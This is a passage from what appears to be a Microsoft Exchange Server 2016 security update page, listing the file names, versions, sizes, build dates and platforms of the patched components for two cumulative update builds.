3-Nov-21| 20:37| x86 \nMicrosoft.exchange.setup.console.dll| 15.1.2375.17| 27,016| 3-Nov-21| 20:49| x86 \nMicrosoft.exchange.setup.gui.dll| 15.1.2375.17| 117,112| 3-Nov-21| 20:49| x86 \nMicrosoft.exchange.setup.parser.dll| 15.1.2375.17| 55,160| 3-Nov-21| 20:35| x86 \nMicrosoft.exchange.setup.signverfwrapper.dll| 15.1.2375.17| 75,128| 3-Nov-21| 18:26| x64 \nMicrosoft.exchange.sharedcache.caches.dll| 15.1.2375.17| 142,728| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.sharedcache.client.dll| 15.1.2375.17| 24,968| 3-Nov-21| 18:39| x86 \nMicrosoft.exchange.sharedcache.eventlog.dll| 15.1.2375.17| 15,224| 3-Nov-21| 18:26| x64 \nMicrosoft.exchange.sharedcache.exe| 15.1.2375.17| 58,752| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.sharepointsignalstore.dll| 15.1.2375.17| 27,024| 3-Nov-21| 18:22| x86 \nMicrosoft.exchange.slabmanifest.dll| 15.1.2375.17| 46,984| 3-Nov-21| 18:10| x86 \nMicrosoft.exchange.sqm.dll| 15.1.2375.17| 46,984| 3-Nov-21| 18:26| x86 \nMicrosoft.exchange.store.service.exe| 15.1.2375.17| 28,048| 3-Nov-21| 20:11| x86 \nMicrosoft.exchange.store.worker.exe| 15.1.2375.17| 26,512| 3-Nov-21| 20:10| x86 \nMicrosoft.exchange.storeobjectsservice.eventlog.dll| 15.1.2375.17| 13,704| 3-Nov-21| 18:12| x64 \nMicrosoft.exchange.storeobjectsservice.exe| 15.1.2375.17| 31,624| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.storeprovider.dll| 15.1.2375.17| 1,166,712| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.structuredquery.dll| 15.1.2375.17| 158,608| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.symphonyhandler.dll| 15.1.2375.17| 628,104| 3-Nov-21| 20:21| x86 \nMicrosoft.exchange.syncmigration.eventlog.dll| 15.1.2375.17| 13,192| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.syncmigrationservicelet.dll| 15.1.2375.17| 16,248| 3-Nov-21| 20:36| x86 \nMicrosoft.exchange.systemprobemsg.dll| 15.1.2375.17| 13,200| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.textprocessing.dll| 15.1.2375.17| 221,584| 3-Nov-21| 18:43| x86 \nMicrosoft.exchange.textprocessing.eventlog.dll| 15.1.2375.14| 13,704| 3-Nov-21| 18:09| x64 \nMicrosoft.exchange.transport.agent.addressbookpolicyroutingagent.dll| 15.1.2375.17| 29,048| 3-Nov-21| 20:03| x86 \nMicrosoft.exchange.transport.agent.antispam.common.dll| 15.1.2375.17| 138,104| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.transport.agent.contentfilter.cominterop.dll| 15.1.2375.17| 21,880| 3-Nov-21| 18:51| x86 \nMicrosoft.exchange.transport.agent.controlflow.dll| 15.1.2375.17| 40,336| 3-Nov-21| 20:03| x86 \nMicrosoft.exchange.transport.agent.faultinjectionagent.dll| 15.1.2375.17| 22,928| 3-Nov-21| 20:06| x86 \nMicrosoft.exchange.transport.agent.frontendproxyagent.dll| 15.1.2375.17| 21,384| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.transport.agent.hygiene.dll| 15.1.2375.17| 213,392| 3-Nov-21| 20:07| x86 \nMicrosoft.exchange.transport.agent.interceptoragent.dll| 15.1.2375.17| 99,208| 3-Nov-21| 20:06| x86 \nMicrosoft.exchange.transport.agent.liveidauth.dll| 15.1.2375.17| 22,928| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.transport.agent.malware.dll| 15.1.2375.17| 169,336| 3-Nov-21| 20:19| x86 \nMicrosoft.exchange.transport.agent.malware.eventlog.dll| 15.1.2375.14| 18,296| 3-Nov-21| 18:09| x64 \nMicrosoft.exchange.transport.agent.phishingdetection.dll| 15.1.2375.17| 20,880| 3-Nov-21| 19:31| x86 \nMicrosoft.exchange.transport.agent.prioritization.dll| 15.1.2375.17| 31,608| 3-Nov-21| 20:03| x86 \nMicrosoft.exchange.transport.agent.protocolanalysis.dbaccess.dll| 15.1.2375.17| 46,992| 3-Nov-21| 20:03| x86 \nMicrosoft.exchange.transport.agent.search.dll| 15.1.2375.17| 30,096| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.transport.agent.senderid.core.dll| 15.1.2375.17| 53,128| 3-Nov-21| 19:29| x86 \nMicrosoft.exchange.transport.agent.sharedmailboxsentitemsroutingagent.dll| 15.1.2375.17| 47,480| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.transport.agent.systemprobedrop.dll| 15.1.2375.17| 18,320| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.transport.agent.transportfeatureoverrideagent.dll| 15.1.2375.17| 46,472| 3-Nov-21| 20:09| x86 \nMicrosoft.exchange.transport.agent.trustedmailagents.dll| 15.1.2375.17| 46,480| 3-Nov-21| 20:03| x86 \nMicrosoft.exchange.transport.cloudmonitor.common.dll| 15.1.2375.17| 28,048| 3-Nov-21| 18:22| x86 \nMicrosoft.exchange.transport.common.dll| 15.1.2375.17| 457,104| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.transport.contracts.dll| 15.1.2375.17| 18,296| 3-Nov-21| 19:48| x86 \nMicrosoft.exchange.transport.decisionengine.dll| 15.1.2375.17| 30,608| 3-Nov-21| 18:43| x86 \nMicrosoft.exchange.transport.dll| 15.1.2375.17| 4,181,392| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.transport.dsapiclient.dll| 15.1.2375.17| 182,136| 3-Nov-21| 19:29| x86 \nMicrosoft.exchange.transport.eventlog.dll| 15.1.2375.17| 121,720| 3-Nov-21| 18:26| x64 \nMicrosoft.exchange.transport.extensibility.dll| 15.1.2375.17| 406,416| 3-Nov-21| 19:29| x86 \nMicrosoft.exchange.transport.extensibilityeventlog.dll| 15.1.2375.14| 14,712| 3-Nov-21| 18:09| x64 \nMicrosoft.exchange.transport.flighting.dll| 15.1.2375.17| 86,920| 3-Nov-21| 18:44| x86 \nMicrosoft.exchange.transport.logging.dll| 15.1.2375.17| 88,952| 3-Nov-21| 19:29| x86 \nMicrosoft.exchange.transport.logging.search.dll| 15.1.2375.17| 68,496| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.transport.loggingcommon.dll| 15.1.2375.17| 63,376| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.transport.monitoring.dll| 15.1.2375.17| 428,936| 3-Nov-21| 21:28| x86 \nMicrosoft.exchange.transport.net.dll| 15.1.2375.17| 121,232| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.transport.protocols.contracts.dll| 15.1.2375.17| 17,784| 3-Nov-21| 19:48| x86 \nMicrosoft.exchange.transport.protocols.dll| 15.1.2375.17| 29,072| 3-Nov-21| 19:49| x86 \nMicrosoft.exchange.transport.protocols.httpsubmission.dll| 15.1.2375.17| 60,304| 3-Nov-21| 19:51| x86 \nMicrosoft.exchange.transport.requestbroker.dll| 15.1.2375.17| 49,528| 3-Nov-21| 18:22| x86 \nMicrosoft.exchange.transport.scheduler.contracts.dll| 15.1.2375.17| 33,144| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.transport.scheduler.dll| 15.1.2375.17| 112,520| 3-Nov-21| 19:49| x86 \nMicrosoft.exchange.transport.smtpshared.dll| 15.1.2375.17| 18,320| 3-Nov-21| 18:22| x86 \nMicrosoft.exchange.transport.storage.contracts.dll| 15.1.2375.17| 52,088| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.transport.storage.dll| 15.1.2375.17| 672,128| 3-Nov-21| 19:49| x86 \nMicrosoft.exchange.transport.storage.management.dll| 15.1.2375.17| 21,904| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.transport.sync.agents.dll| 15.1.2375.17| 17,784| 3-Nov-21| 20:10| x86 \nMicrosoft.exchange.transport.sync.common.dll| 15.1.2375.17| 487,312| 3-Nov-21| 20:09| x86 \nMicrosoft.exchange.transport.sync.common.eventlog.dll| 15.1.2375.17| 12,664| 3-Nov-21| 18:12| x64 \nMicrosoft.exchange.transport.sync.manager.dll| 15.1.2375.17| 306,040| 3-Nov-21| 20:11| x86 \nMicrosoft.exchange.transport.sync.manager.eventlog.dll| 15.1.2375.17| 15,760| 3-Nov-21| 18:26| x64 \nMicrosoft.exchange.transport.sync.migrationrpc.dll| 15.1.2375.17| 46,472| 3-Nov-21| 20:10| x86 \nMicrosoft.exchange.transport.sync.worker.dll| 15.1.2375.17| 1,044,368| 3-Nov-21| 20:14| x86 \nMicrosoft.exchange.transport.sync.worker.eventlog.dll| 15.1.2375.17| 15,224| 3-Nov-21| 18:26| x64 \nMicrosoft.exchange.transportlogsearch.eventlog.dll| 15.1.2375.17| 18,832| 3-Nov-21| 18:27| x64 \nMicrosoft.exchange.transportsyncmanagersvc.exe| 15.1.2375.17| 18,808| 3-Nov-21| 20:14| x86 \nMicrosoft.exchange.um.callrouter.exe| 15.1.2375.17| 22,392| 3-Nov-21| 20:11| x86 \nMicrosoft.exchange.um.clientstrings.dll| 15.1.2375.17| 60,280| 3-Nov-21| 18:21| x86 \nMicrosoft.exchange.um.grammars.dll| 15.1.2375.17| 211,840| 3-Nov-21| 18:19| x86 \nMicrosoft.exchange.um.lad.dll| 15.1.2375.17| 120,712| 3-Nov-21| 18:10| x64 \nMicrosoft.exchange.um.prompts.dll| 15.1.2375.17| 214,920| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.um.troubleshootingtool.shared.dll| 15.1.2375.17| 118,664| 3-Nov-21| 18:25| x86 \nMicrosoft.exchange.um.ucmaplatform.dll| 15.1.2375.17| 239,496| 3-Nov-21| 20:10| x86 \nMicrosoft.exchange.um.umcommon.dll| 15.1.2375.17| 926,096| 3-Nov-21| 20:06| x86 \nMicrosoft.exchange.um.umcore.dll| 15.1.2375.17| 1,472,392| 3-Nov-21| 20:07| x86 \nMicrosoft.exchange.um.umvariantconfiguration.dll| 15.1.2375.17| 32,648| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.unifiedcontent.dll| 15.1.2375.17| 41,864| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.unifiedcontent.exchange.dll| 15.1.2375.17| 24,952| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.unifiedmessaging.eventlog.dll| 15.1.2375.17| 130,424| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.unifiedpolicyfilesync.eventlog.dll| 15.1.2375.17| 15,224| 3-Nov-21| 18:12| x64 \nMicrosoft.exchange.unifiedpolicyfilesyncservicelet.dll| 15.1.2375.17| 83,320| 3-Nov-21| 20:34| x86 \nMicrosoft.exchange.unifiedpolicysyncservicelet.dll| 15.1.2375.17| 50,040| 3-Nov-21| 20:35| x86 \nMicrosoft.exchange.variantconfiguration.antispam.dll| 15.1.2375.17| 658,816| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.variantconfiguration.core.dll| 15.1.2375.14| 186,256| 3-Nov-21| 18:09| x86 \nMicrosoft.exchange.variantconfiguration.dll| 15.1.2375.17| 67,464| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.variantconfiguration.eventlog.dll| 15.1.2375.17| 12,664| 3-Nov-21| 18:26| x64 \nMicrosoft.exchange.variantconfiguration.excore.dll| 15.1.2375.17| 56,696| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.variantconfiguration.globalsettings.dll| 15.1.2375.17| 28,040| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.variantconfiguration.hygiene.dll| 15.1.2375.17| 120,704| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.variantconfiguration.protectionservice.dll| 15.1.2375.17| 31,616| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.variantconfiguration.threatintel.dll| 15.1.2375.17| 57,208| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.webservices.auth.dll| 15.1.2375.17| 35,720| 3-Nov-21| 18:12| x86 \nMicrosoft.exchange.webservices.dll| 15.1.2375.17| 1,054,072| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.webservices.xrm.dll| 15.1.2375.17| 67,976| 3-Nov-21| 18:19| x86 \nMicrosoft.exchange.wlmservicelet.dll| 15.1.2375.17| 23,416| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.wopiclient.dll| 15.1.2375.17| 76,176| 3-Nov-21| 18:22| x86 \nMicrosoft.exchange.workingset.signalapi.dll| 15.1.2375.17| 17,288| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.workingsetabstraction.signalapiabstraction.dll| 15.1.2375.17| 29,072| 3-Nov-21| 18:19| x86 \nMicrosoft.exchange.workloadmanagement.dll| 15.1.2375.17| 505,232| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.workloadmanagement.eventlogs.dll| 15.1.2375.17| 14,712| 3-Nov-21| 18:26| x64 \nMicrosoft.exchange.workloadmanagement.throttling.configuration.dll| 15.1.2375.17| 36,728| 3-Nov-21| 18:39| x86 \nMicrosoft.exchange.workloadmanagement.throttling.dll| 15.1.2375.17| 66,432| 3-Nov-21| 19:47| x86 \nMicrosoft.fast.contextlogger.json.dll| 15.1.2375.17| 19,344| 3-Nov-21| 18:10| x86 \nMicrosoft.filtering.dll| 15.1.2375.17| 113,016| 3-Nov-21| 18:43| x86 \nMicrosoft.filtering.exchange.dll| 15.1.2375.17| 57,224| 3-Nov-21| 20:01| x86 \nMicrosoft.filtering.interop.dll| 15.1.2375.17| 15,224| 3-Nov-21| 18:43| x86 \nMicrosoft.forefront.activedirectoryconnector.dll| 15.1.2375.17| 46,992| 3-Nov-21| 19:15| x86 \nMicrosoft.forefront.activedirectoryconnector.eventlog.dll| 15.1.2375.17| 15,736| 3-Nov-21| 18:19| x64 \nMicrosoft.forefront.filtering.common.dll| 15.1.2375.17| 23,928| 3-Nov-21| 18:25| x86 \nMicrosoft.forefront.filtering.diagnostics.dll| 15.1.2375.17| 22,392| 3-Nov-21| 18:11| x86 \nMicrosoft.forefront.filtering.eventpublisher.dll| 15.1.2375.17| 34,192| 3-Nov-21| 18:19| x86 \nMicrosoft.forefront.management.powershell.format.ps1xml| Not applicable| 48,914| 3-Nov-21| 20:46| Not applicable \nMicrosoft.forefront.management.powershell.types.ps1xml| Not applicable| 16,290| 3-Nov-21| 20:46| Not applicable \nMicrosoft.forefront.monitoring.activemonitoring.local.components.dll| 15.1.2375.17| 1,518,984| 3-Nov-21| 21:30| x86 \nMicrosoft.forefront.monitoring.activemonitoring.local.components.messages.dll| 15.1.2375.17| 13,176| 3-Nov-21| 18:19| x64 \nMicrosoft.forefront.monitoring.management.outsidein.dll| 15.1.2375.17| 33,168| 3-Nov-21| 21:06| x86 \nMicrosoft.forefront.recoveryactionarbiter.contract.dll| 15.1.2375.17| 18,320| 3-Nov-21| 18:10| x86 \nMicrosoft.forefront.reporting.common.dll| 15.1.2375.17| 45,968| 3-Nov-21| 20:01| x86 \nMicrosoft.forefront.reporting.ondemandquery.dll| 15.1.2375.17| 50,552| 3-Nov-21| 20:02| x86 \nMicrosoft.isam.esent.collections.dll| 15.1.2375.17| 72,592| 3-Nov-21| 18:26| x86 \nMicrosoft.isam.esent.interop.dll| 15.1.2375.17| 534,416| 3-Nov-21| 18:22| x86 \nMicrosoft.managementgui.dll| 15.1.2375.17| 133,496| 3-Nov-21| 18:21| x86 \nMicrosoft.mce.interop.dll| 15.1.2375.17| 24,456| 3-Nov-21| 18:11| x86 \nMicrosoft.office.audit.dll| 15.1.2375.17| 123,768| 3-Nov-21| 18:12| x86 \nMicrosoft.office.client.discovery.unifiedexport.dll| 15.1.2375.17| 585,608| 3-Nov-21| 18:43| x86 \nMicrosoft.office.common.ipcommonlogger.dll| 15.1.2375.17| 42,376| 3-Nov-21| 18:36| x86 \nMicrosoft.office.compliance.console.core.dll| 15.1.2375.17| 217,976| 3-Nov-21| 22:22| x86 \nMicrosoft.office.compliance.console.dll| 15.1.2375.17| 854,904| 3-Nov-21| 22:35| x86 \nMicrosoft.office.compliance.console.extensions.dll| 15.1.2375.17| 485,768| 3-Nov-21| 22:31| x86 \nMicrosoft.office.compliance.core.dll| 15.1.2375.17| 412,024| 3-Nov-21| 18:39| x86 \nMicrosoft.office.compliance.ingestion.dll| 15.1.2375.17| 36,216| 3-Nov-21| 18:36| x86 \nMicrosoft.office.compliancepolicy.exchange.dar.dll| 15.1.2375.17| 85,368| 3-Nov-21| 20:01| x86 \nMicrosoft.office.compliancepolicy.platform.dll| 15.1.2375.17| 1,782,672| 3-Nov-21| 18:22| x86 \nMicrosoft.office.datacenter.activemonitoring.management.common.dll| 15.1.2375.17| 49,528| 3-Nov-21| 20:01| x86 \nMicrosoft.office.datacenter.activemonitoring.management.dll| 15.1.2375.17| 27,528| 3-Nov-21| 20:06| x86 \nMicrosoft.office.datacenter.activemonitoringlocal.dll| 15.1.2375.17| 174,968| 3-Nov-21| 18:39| x86 \nMicrosoft.office.datacenter.monitoring.activemonitoring.recovery.dll| 15.1.2375.17| 166,264| 3-Nov-21| 19:25| x86 \nMicrosoft.office365.datainsights.uploader.dll| 15.1.2375.17| 40,320| 3-Nov-21| 18:10| x86 \nMicrosoft.online.box.shell.dll| 15.1.2375.17| 46,456| 3-Nov-21| 18:11| x86 \nMicrosoft.powershell.hostingtools.dll| 15.1.2375.17| 67,960| 3-Nov-21| 18:12| x86 \nMicrosoft.powershell.hostingtools_2.dll| 15.1.2375.17| 67,960| 3-Nov-21| 18:12| x86 \nMicrosoft.tailoredexperiences.core.dll| 15.1.2375.17| 120,208| 3-Nov-21| 18:36| x86 \nMigrateumcustomprompts.ps1| Not applicable| 19,122| 3-Nov-21| 18:09| Not applicable \nModernpublicfoldertomailboxmapgenerator.ps1| Not applicable| 29,064| 3-Nov-21| 18:09| Not applicable \nMovemailbox.ps1| Not applicable| 61,140| 3-Nov-21| 18:09| Not applicable \nMovetransportdatabase.ps1| Not applicable| 30,602| 3-Nov-21| 18:09| Not applicable \nMove_publicfolderbranch.ps1| Not applicable| 17,532| 3-Nov-21| 18:09| Not applicable \nMpgearparser.dll| 15.1.2375.17| 99,728| 3-Nov-21| 18:25| x64 \nMsclassificationadapter.dll| 15.1.2375.17| 248,696| 3-Nov-21| 18:27| x64 \nMsexchangecompliance.exe| 15.1.2375.17| 78,712| 3-Nov-21| 20:29| x86 \nMsexchangedagmgmt.exe| 15.1.2375.17| 25,464| 3-Nov-21| 20:07| x86 \nMsexchangedelivery.exe| 15.1.2375.17| 38,800| 3-Nov-21| 20:06| x86 \nMsexchangefrontendtransport.exe| 15.1.2375.17| 31,624| 3-Nov-21| 20:01| x86 \nMsexchangehmhost.exe| 15.1.2375.17| 27,000| 3-Nov-21| 21:37| x86 \nMsexchangehmrecovery.exe| 15.1.2375.17| 29,560| 3-Nov-21| 19:25| x86 \nMsexchangemailboxassistants.exe| 15.1.2375.17| 72,568| 3-Nov-21| 20:06| x86 \nMsexchangemailboxreplication.exe| 15.1.2375.17| 20,856| 3-Nov-21| 20:18| x86 \nMsexchangemigrationworkflow.exe| 15.1.2375.17| 69,496| 3-Nov-21| 20:23| x86 \nMsexchangerepl.exe| 15.1.2375.17| 72,056| 3-Nov-21| 20:12| x86 \nMsexchangesubmission.exe| 15.1.2375.17| 123,256| 3-Nov-21| 20:16| x86 \nMsexchangethrottling.exe| 15.1.2375.17| 39,824| 3-Nov-21| 19:15| x86 \nMsexchangetransport.exe| 15.1.2375.17| 74,128| 3-Nov-21| 19:15| x86 \nMsexchangetransportlogsearch.exe| 15.1.2375.17| 139,128| 3-Nov-21| 20:02| x86 \nMsexchangewatchdog.exe| 15.1.2375.17| 55,696| 3-Nov-21| 18:19| x64 \nMspatchlinterop.dll| 15.1.2375.17| 53,648| 3-Nov-21| 18:23| x64 \nNativehttpproxy.dll| 15.1.2375.14| 91,528| 3-Nov-21| 18:09| x64 \nNavigatorparser.dll| 15.1.2375.17| 636,816| 3-Nov-21| 18:19| x64 \nNego2nativeinterface.dll| 15.1.2375.17| 19,320| 3-Nov-21| 18:19| x64 \nNegotiateclientcertificatemodule.dll| 15.1.2375.17| 30,088| 3-Nov-21| 18:19| x64 \nNewtestcasconnectivityuser.ps1| Not applicable| 22,264| 3-Nov-21| 18:09| Not applicable \nNewtestcasconnectivityuserhosting.ps1| Not applicable| 24,575| 3-Nov-21| 18:09| Not applicable \nNtspxgen.dll| 15.1.2375.17| 80,776| 3-Nov-21| 18:29| x64 \nOleconverter.exe| 15.1.2375.17| 173,968| 3-Nov-21| 18:19| x64 \nOutsideinmodule.dll| 15.1.2375.17| 87,952| 3-Nov-21| 18:28| x64 \nOwaauth.dll| 15.1.2375.17| 92,024| 3-Nov-21| 18:19| x64 \nOwasmime.msi| Not applicable| 720,896| 3-Nov-21| 18:36| Not applicable \nPerf_common_extrace.dll| 15.1.2375.17| 245,128| 3-Nov-21| 18:10| x64 \nPerf_exchmem.dll| 15.1.2375.17| 85,904| 3-Nov-21| 18:19| x64 \nPipeline2.dll| 15.1.2375.17| 1,454,472| 3-Nov-21| 18:36| x64 \nPowershell.rbachostingtools.dll_1bf4f3e363ef418781685d1a60da11c1| 15.1.2375.17| 41,360| 3-Nov-21| 20:44| Not applicable \nPreparemoverequesthosting.ps1| Not applicable| 70,995| 3-Nov-21| 18:09| Not applicable \nPrepare_moverequest.ps1| Not applicable| 73,229| 3-Nov-21| 18:09| Not applicable \nProductinfo.managed.dll| 15.1.2375.17| 27,000| 3-Nov-21| 18:11| x86 \nProxybinclientsstringsdll| 15.1.2375.17| 924,536| 3-Nov-21| 18:21| x86 \nPublicfoldertomailboxmapgenerator.ps1| Not applicable| 23,234| 3-Nov-21| 18:09| Not applicable \nQuietexe.exe| 15.1.2375.17| 14,728| 3-Nov-21| 18:29| x86 \nRedistributeactivedatabases.ps1| Not applicable| 250,532| 3-Nov-21| 18:21| Not applicable \nReinstalldefaulttransportagents.ps1| Not applicable| 21,675| 3-Nov-21| 20:40| Not applicable \nRemoteexchange.ps1| Not applicable| 23,573| 3-Nov-21| 20:45| Not applicable \nRemoveuserfrompfrecursive.ps1| Not applicable| 14,684| 3-Nov-21| 18:09| Not applicable \nReplaceuserpermissiononpfrecursive.ps1| Not applicable| 15,002| 3-Nov-21| 18:09| Not applicable \nReplaceuserwithuseronpfrecursive.ps1| Not applicable| 15,008| 3-Nov-21| 18:09| Not applicable \nReplaycrimsonmsg.dll| 15.1.2375.17| 1,099,128| 3-Nov-21| 18:12| x64 \nResetattachmentfilterentry.ps1| Not applicable| 15,496| 3-Nov-21| 20:40| Not applicable \nResetcasservice.ps1| Not applicable| 21,707| 3-Nov-21| 18:09| Not applicable \nReset_antispamupdates.ps1| Not applicable| 14,121| 3-Nov-21| 18:12| Not applicable \nRestoreserveronprereqfailure.ps1| Not applicable| 15,141| 3-Nov-21| 18:09| Not applicable \nResumemailboxdatabasecopy.ps1| Not applicable| 17,210| 3-Nov-21| 18:21| Not applicable \nRightsmanagementwrapper.dll| 15.1.2375.17| 86,416| 3-Nov-21| 18:22| x64 \nRollalternateserviceaccountpassword.ps1| Not applicable| 55,770| 3-Nov-21| 18:09| Not applicable \nRpcperf.dll| 15.1.2375.17| 23,432| 3-Nov-21| 18:19| x64 \nRpcproxyshim.dll| 15.1.2375.17| 39,312| 3-Nov-21| 18:22| x64 \nRulesauditmsg.dll| 15.1.2375.17| 12,664| 3-Nov-21| 18:13| x64 \nRwsperfcounters.xml| Not applicable| 23,024| 3-Nov-21| 20:47| Not applicable \nSafehtmlnativewrapper.dll| 15.1.2375.14| 34,688| 3-Nov-21| 18:09| x64 \nScanenginetest.exe| 15.1.2375.17| 956,304| 3-Nov-21| 18:23| x64 \nScanningprocess.exe| 15.1.2375.17| 739,192| 3-Nov-21| 18:37| x64 \nSearchdiagnosticinfo.ps1| Not applicable| 16,812| 3-Nov-21| 18:09| Not applicable \nServicecontrol.ps1| Not applicable| 52,309| 3-Nov-21| 18:09| Not applicable \nSetmailpublicfolderexternaladdress.ps1| Not applicable| 20,754| 3-Nov-21| 18:09| Not applicable \nSettingsadapter.dll| 15.1.2375.17| 116,104| 3-Nov-21| 18:27| x64 \nSetup.exe| 15.1.2375.17| 21,392| 3-Nov-21| 18:36| x86 \nSetupui.exe| 15.1.2375.17| 49,016| 3-Nov-21| 20:43| x86 \nSplit_publicfoldermailbox.ps1| Not applicable| 52,189| 3-Nov-21| 18:09| Not applicable \nStartdagservermaintenance.ps1| Not applicable| 27,831| 3-Nov-21| 18:21| Not applicable \nStatisticsutil.dll| 15.1.2375.17| 142,224| 3-Nov-21| 18:22| x64 \nStopdagservermaintenance.ps1| Not applicable| 21,117| 3-Nov-21| 18:21| Not applicable \nStoretsconstants.ps1| Not applicable| 15,850| 3-Nov-21| 18:39| Not applicable \nStoretslibrary.ps1| Not applicable| 28,023| 3-Nov-21| 18:39| Not applicable \nStore_mapi_net_bin_perf_x64_exrpcperf.dll| 15.1.2375.17| 28,536| 3-Nov-21| 18:12| x64 \nSync_mailpublicfolders.ps1| Not applicable| 43,923| 3-Nov-21| 18:09| Not applicable \nSync_modernmailpublicfolders.ps1| Not applicable| 43,973| 3-Nov-21| 18:09| Not applicable \nTest_mitigationserviceconnectivity.ps1| Not applicable| 14,186| 3-Nov-21| 18:09| Not applicable \nTextconversionmodule.dll| 15.1.2375.17| 86,416| 3-Nov-21| 18:19| x64 \nTroubleshoot_ci.ps1| Not applicable| 22,747| 3-Nov-21| 18:39| Not applicable \nTroubleshoot_databaselatency.ps1| Not applicable| 33,453| 3-Nov-21| 18:39| Not applicable \nTroubleshoot_databasespace.ps1| Not applicable| 30,049| 3-Nov-21| 18:39| Not applicable \nUmservice.exe| 15.1.2375.17| 100,240| 3-Nov-21| 20:11| x86 \nUmworkerprocess.exe| 15.1.2375.17| 38,280| 3-Nov-21| 20:09| x86 \nUninstall_antispamagents.ps1| Not applicable| 15,493| 3-Nov-21| 18:12| Not applicable \nUpdateapppoolmanagedframeworkversion.ps1| Not applicable| 14,030| 3-Nov-21| 18:09| Not applicable \nUpdatecas.ps1| Not applicable| 35,327| 3-Nov-21| 18:09| Not applicable \nUpdateconfigfiles.ps1| Not applicable| 19,722| 3-Nov-21| 18:09| Not applicable \nUpdateserver.exe| 15.1.2375.17| 3,014,544| 3-Nov-21| 18:27| x64 \nUpdate_malwarefilteringserver.ps1| Not applicable| 18,156| 3-Nov-21| 18:09| Not applicable \nWeb.config_053c31bdd6824e95b35d61b0a5e7b62d| Not applicable| 32,048| 3-Nov-21| 22:22| Not applicable \nWsbexchange.exe| 15.1.2375.17| 125,328| 3-Nov-21| 18:24| x64 \nX400prox.dll| 15.1.2375.17| 103,304| 3-Nov-21| 18:19| x64 \n_search.lingoperators.a| 15.1.2375.17| 34,704| 3-Nov-21| 19:47| Not applicable \n_search.lingoperators.b| 15.1.2375.17| 34,704| 3-Nov-21| 19:47| Not applicable \n_search.mailboxoperators.a| 15.1.2375.17| 288,656| 3-Nov-21| 20:14| Not applicable \n_search.mailboxoperators.b| 15.1.2375.17| 288,656| 3-Nov-21| 20:14| Not applicable \n_search.operatorschema.a| 15.1.2375.17| 483,192| 3-Nov-21| 19:29| Not applicable \n_search.operatorschema.b| 15.1.2375.17| 483,192| 3-Nov-21| 19:29| Not applicable \n_search.tokenoperators.a| 15.1.2375.17| 106,888| 3-Nov-21| 19:47| Not applicable \n_search.tokenoperators.b| 15.1.2375.17| 106,888| 3-Nov-21| 19:47| Not applicable \n_search.transportoperators.a| 15.1.2375.17| 64,912| 3-Nov-21| 20:19| Not applicable \n_search.transportoperators.b| 15.1.2375.17| 64,912| 3-Nov-21| 20:19| Not applicable \n \n### \n\n__\n\nMicrosoft Exchange Server 2016 Cumulative Update 21 Security Update 3\n\nFile name| File version| File size| Date| Time| Platform \n---|---|---|---|---|--- \nActivemonitoringeventmsg.dll| 15.1.2308.20| 71,032| 3-Nov-21| 18:29| x64 \nActivemonitoringexecutionlibrary.ps1| Not applicable| 29,518| 3-Nov-21| 18:30| Not applicable \nAdduserstopfrecursive.ps1| Not applicable| 14,941| 3-Nov-21| 18:41| Not applicable \nAdemodule.dll| 15.1.2308.20| 106,376| 3-Nov-21| 18:30| x64 \nAirfilter.dll| 15.1.2308.20| 42,896| 3-Nov-21| 18:22| x64 \nAjaxcontroltoolkit.dll| 15.1.2308.20| 92,560| 3-Nov-21| 18:36| x86 \nAntispamcommon.ps1| Not applicable| 13,521| 3-Nov-21| 18:20| Not applicable \nAsdat.msi| Not applicable| 5,087,232| 3-Nov-21| 18:37| Not applicable \nAsentirs.msi| Not applicable| 77,824| 3-Nov-21| 18:41| Not applicable \nAsentsig.msi| Not applicable| 73,728| 3-Nov-21| 18:37| Not applicable \nBigfunnel.bondtypes.dll| 15.1.2308.20| 43,912| 3-Nov-21| 18:28| x86 \nBigfunnel.common.dll| 15.1.2308.20| 63,864| 3-Nov-21| 18:20| x86 \nBigfunnel.configuration.dll| 15.1.2308.20| 99,208| 3-Nov-21| 18:52| x86 \nBigfunnel.entropy.dll| 15.1.2308.20| 44,408| 3-Nov-21| 18:28| x86 \nBigfunnel.filter.dll| 15.1.2308.20| 54,160| 3-Nov-21| 18:29| x86 \nBigfunnel.indexstream.dll| 15.1.2308.20| 54,160| 3-Nov-21| 18:37| x86 \nBigfunnel.poi.dll| 15.1.2308.20| 203,664| 3-Nov-21| 18:22| x86 \nBigfunnel.postinglist.dll| 15.1.2308.20| 122,256| 3-Nov-21| 18:37| x86 \nBigfunnel.query.dll| 15.1.2308.20| 99,704| 3-Nov-21| 18:22| x86 \nBigfunnel.ranking.dll| 